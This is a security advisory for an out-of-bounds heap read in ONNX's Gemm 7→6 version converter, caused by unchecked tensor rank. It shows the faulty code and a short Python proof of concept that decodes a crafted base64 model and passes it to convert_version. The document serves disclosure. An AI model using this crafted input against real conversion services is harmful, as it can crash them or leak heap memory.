CVE-2026-63632: ONNX: Heap-Buffer-Overflow READ in Gemm Version Converter Adapter via Undersized Input Shape

Summary

Heap-buffer-overflow READ (16 bytes) in Gemm76::adaptgemm76() (onnx/versionconverter/adapters/gemm76.h:41) when ConvertVersion() processes a model with a Gemm node whose input tensors have fewer than 2 dimensions. The adapter accesses Bshape[1] without checking rank. On Release builds the OOB read is silent; ASan confirms 16-byte read past a 48-byte allocation.

Details

The Gemm 7→6 downgrade adapter reads input shapes without bounds checking: cpp // gemm76.h:26-42 const auto& Ashape = inputs[0]->sizes(); // May have < 2 elements const auto& Bshape = inputs[1]->sizes(); // May have < 2 elements

if (node->hasAttribute(ktransB) && node->i(ktransB) == 1) { MN.emplaceback(Bshape[0]); // OOB if B has 0 dims } else { MN.emplaceback(Bshape[1]); // OOB if B has < 2 dims ← CRASH }

The PoC has input B with shape [28] (1 dimension). Bshape has 1 element. Accessing Bshape[1] reads 16 bytes past the std::vector<Dimension> internal storage into adjacent heap memory.

The same unchecked pattern applies to Ashape[0] and Ashape[1] at lines 34 and 36.

Entry point: onnx.versionconverter.convertversion(model, 6) — different from the InferShapes bugs reported in separate advisories. This triggers during opset downgrade (7→6).

PoC python import base64 import onnx from onnx import versionconverter

pocb64 = "CAM6rwEKUQoBQQoBQgoBQRIBWSIER2VtbSoPCgVhbHBoYRUBAQA+oAEBKg4KBGJldGEVAAAAOqABASoNCgZ0dGZsc0EYAaABAioNCgZ0cmFuc0IYAKABAhIKb2Vpdl94bWZ2aFoTCgFBEg4KDAgBEggKAggCCgIIA1oTCgFCEg4KDAgBEggKAggcCgIIBFoPCgFCEgoKCAgBEgQKAggbYhMKAVkSDgoMCAESCAoCCAIKAggEQgQKABAH"

model = onnx.loadfromstring(base64.b64decode(pocb64))

Triggers heap-buffer-overflow in Gemm76 adapter versionconverter.convertversion(model, 6)

186-byte PoC. ASan confirms: heap-buffer-overflow READ of size 16 at gemm76.h:41, 0 bytes after 48-byte region allocated in tensorShapeProtoToDimensions at irpbconverter.cc:216.

Impact

Any application that uses onnx.versionconverter.convertversion() on untrusted models is vulnerable. This includes model conversion pipelines and tools that auto-downgrade opset versions for compatibility. On Release builds the OOB read is silent — the read value propagates into the converted model's output shape, potentially leaking heap data. On ASan builds it's detected as a heap-buffer-overflow. Could also cause crashes with different heap layouts.